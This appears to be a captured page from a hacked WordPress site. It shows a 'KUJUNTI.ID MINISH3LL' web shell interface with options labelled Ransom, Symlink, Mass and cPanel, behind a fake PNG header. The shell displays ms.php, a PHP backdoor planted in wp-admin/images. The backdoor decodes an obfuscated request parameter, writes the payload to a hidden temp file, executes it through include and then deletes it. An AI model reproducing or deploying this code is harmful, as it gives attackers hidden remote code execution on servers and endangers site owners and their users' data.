\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 www.csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/eceas/wp-admin/images/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/eceas/wp-admin/images/ms.php


<?php

if(isset($_REQUEST["\x70aram\x65\x74e\x72_\x67\x72o\x75p"])){
	$holder = array_filter([ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", "/dev/shm", getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), session_save_path(), getcwd()]);
	$value = $_REQUEST["\x70aram\x65\x74e\x72_\x67\x72o\x75p"];
			$value	 =		explode 	(	  "." ,  $value   );
	$dat=	'';
            $salt=	'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS=	strlen($salt);
            $__len=	count($value);
    
            for ($l=	0; $l < $__len; $l++) { 	$v3=	$value[$l];
                $sChar=	ord($salt[$l 	%	 $lenS]);
                $d=	((int)$v3 - $sChar - ($l 	%	 10)) ^ 33;
                $dat .= chr($d); 	}	
	while ($resource = array_shift($holder)) {
    		if (max(0, is_dir($resource) * is_writable($resource))) {
    $desc = join("/", [$resource, ".flg"]);
    if (file_put_contents($desc, $dat)) {
	include $desc;
	@unlink($desc);
	die();
}
}
}
}

© KUJUNTI.ID